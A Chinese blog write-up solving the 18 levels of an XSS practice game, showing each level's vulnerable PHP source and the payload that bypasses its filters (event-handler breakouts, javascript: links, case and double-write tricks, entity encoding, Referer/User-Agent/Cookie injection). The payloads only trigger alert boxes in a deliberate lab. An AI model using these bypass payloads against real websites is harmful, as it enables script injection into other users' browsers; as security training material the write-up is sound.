XSS小游戏通关笔记

前言

XSS-初体验~

正文

level-1

第一关非常基础,黑盒下传参name构造?name=<script>alert('hacker');</script>即可弹窗,属于反射性XSS;

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

查看源码发现没有过滤…

level-2

第二关也没有什么难度,黑盒下在输入框中测试test,查看页面的html发现<input name=keyword value="test">直接闭合双引号和input标签,构造?keyword="><script>alert('hacker');</script>即可弹窗;同样是属于反射型XSS;

1
2
3
4
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">

查看源码,果然…

level-3

界面和第二关差不多,黑盒下测试输入test2333,查看页面html发现<input name=keyword value='test2333'>,发现是单引号闭合,尝试闭合引号和标签:

?keyword='><script>alert('xss');</script>,却发现:

<input name=keyword value=''&gt;&lt;script&gt;alert('xss');&lt;/script&gt;'>

看样子是设置了特殊字符转码,查看源码:

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

果然是添加了htmlspecialchars()函数进行了过滤,所以这里不能再用闭合标签的方法来构造弹窗了,采取闭合value引号,添加html事件属性的方法来构造弹窗:

payload:' onkeypress='alert("hacker"),在输入框中敲击键盘即可弹窗;

level-4

和level-3几乎一样,测试发现输出点,<input name=keyword value="test2333">

发现这次是双引号,直接闭合,构造html事件属性造成弹窗即可;

payload:?keyword=" onmouseover="alert('xss')

level-3和4这里需要注意的是闭合的到底是双引号还是单引号,里面的alert引号也需要随之变化,不能使用同样的引号,否则会达不到效果;

level-5

上来还是像上面一样尝试闭合引号,添加一个html事件属性,但是这次已经不起作用,查看html发现:

Ar6FM9.png

事件属性貌似也被过滤了……这好像就触及到我的知识盲点了,google一波发现可以使用html链接,所以直接闭合引号和标签,再写入一个html链接,链接效果为弹窗即可:

payload:"> <a href="javascript:alert('hacker')">click me</a> //

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现果然是不能使用<script>标签和事件属性,全部都被替换掉了……

level-6

直接查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

链接属性也别过滤掉了…心碎…

但是仔细对比一下就可以发现,这一关没有进行小写转换,$str = strtolower($_GET["keyword"]);这是极其重要的,因为html对大小写是不敏感的,即使是大写也可以正常运行,所以直接可以用大写绕过…

payload:"> <a Href="javascript:alert('hacker')">click me</a>

level-7

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

相信打过ctf的人都知道str_replace()这个函数在代码审计里的漏洞,替换为空时可以直接双写绕过

payload:"> <a hrhrefef="javascscriptript:alert('hacker')">click me</a> //

level-8

这一关貌似和前面的都不太一样,回显有两个输出的地方,发现第二个输出是:把你输入的内容当做一个链接内容放在href属性里面,所以这一关应该就是构造一个可以绕过script字符串替换的字符,

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

发现这里双引号都被过滤掉了,那肯定是不可以闭合标签了,问题就是链接里的javascript:alert('hacker')

script会被替换,要想办法绕过即可,既然是链接,直接unicode编码即可:

payload:java&#115;cript:alert(1)

level-9

这一关有点奇怪,直接查看源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

发现相比上一关,多了一个if判断:

1
if(false===strpos($str7,'http://'))

也就是说我们构造的字符串里必须要含有http://这样的字符,结合上一关,需要在字符中添加http://的字符,并且还不能让其起作用…直接注释掉即可:

payload:java&#115;cript:alert(1)//http://

level-10

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

发现GET了两个值,分别是keywordt_sort

keyword不多说,GG……输出点只有一个,而且被过滤了…

另一个切入点就是t_sort参数,查看代码发现是滤掉了<和>,那标签一类的就不可以使用了,输出点属性hidden,所以看不见;

这里我们使用另一种绕过方法,先闭合value的引号,然后添加html事件属性,随后设置type为text(对同一属性赋不同的值时,浏览器解析时只会解析第一次出现的属性);

payload:?keyword=test&t_sort=" onkeypress="alert('hacker')" type="text">

level-11

查看源代码发现又多了一个参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

那这一关肯定又是在t_ref上做文章…先看看它的值是什么:$str11=$_SERVER['HTTP_REFERER'];发现是上一个跳转页面的url,而且过滤掉了< >,其实也好办…和上一个是一个套路,就是直接闭合引号,然后添加事件属性构造弹窗,接着覆盖type即可,只不过这一步需要从上一个页面用bp抓包去修改参数…

上一个页面即将跳转时抓包:

AyFOWn.md.png

修改Referer请求头,forward一下,即可构成弹窗事件;:

AykQFH.png

payload:Referer: " onkeypress="alert('xss')" type="text"

level-12

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

基本上换汤不换药,就是从上一题的Referer请求头参数变成了UA头……

Ayk20U.md.png

直接用上一关的payload即可

payload:User-Agent: " onkeypress="alert('xss')" type="text"

level-13

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

发现又有一个新参数cookie…套路一样,不多说

payload:Cookie: user=" onkeypress="alert('xss')" type="text"

level-14

查看源码:

1
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>

发现链接:www.exifviewer.org;应该是个漏洞环境…但是可能下线了…没有办法做,但是也可以了解一波;

这个漏洞是利用上传图片的Exif(可以记录数码照片的属性信息和拍摄数据,Exif信息是可以被任意编辑的)值进行构造xss(真的是骚),也算是个存储型xss;

附上此漏洞的乌云镜像链接:http://www.anquan.us/static/bugs/wooyun-2012-07468.html

level-15

摸不着头脑…只好查看源码:

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

发现是使用了一个ng-include指令,先来了解一下用法:

A60n1J.md.png

也就是常说的文件包含,先包含一个同一个目录下的文件试一下:

A6sGqA.md.png

发现已经出现第三关的页面,这里要注意的是,字符串经过了htmlspecialchars()函数,所以尽量不要使用payload里出现<>的关卡

payload:?src="level3.php?keyword=' onkeypress='alert(2333)"

level-16

源码:

1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

发现过滤了script,空格,/,script被转义,那我们可以换一种标签img,这样的话也不需要使用/,一举多得,但是还有一个问题就是空格如何绕过,这里采取编码的方式,用%0d %0a 进行绕过

payload:?keyword=<img%0dsrc=1%0donerror="alert(2333)">

level-17

源码:

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

发现是\ 标签,用来定义嵌入的内容,比如插件;这里我们可以使用html事件属性去构造弹窗;

payload:?arg01=a&arg02=b onmouseover=alert(23333)

level-18

源码:

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和上题一毛一样…不再赘述;

payload:?arg01=a&arg02=b onmouseover=alert(2333)

Author: Gard3nia
Link: https://gardenia30.top/2019/04/03/XSS小游戏通关笔记/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.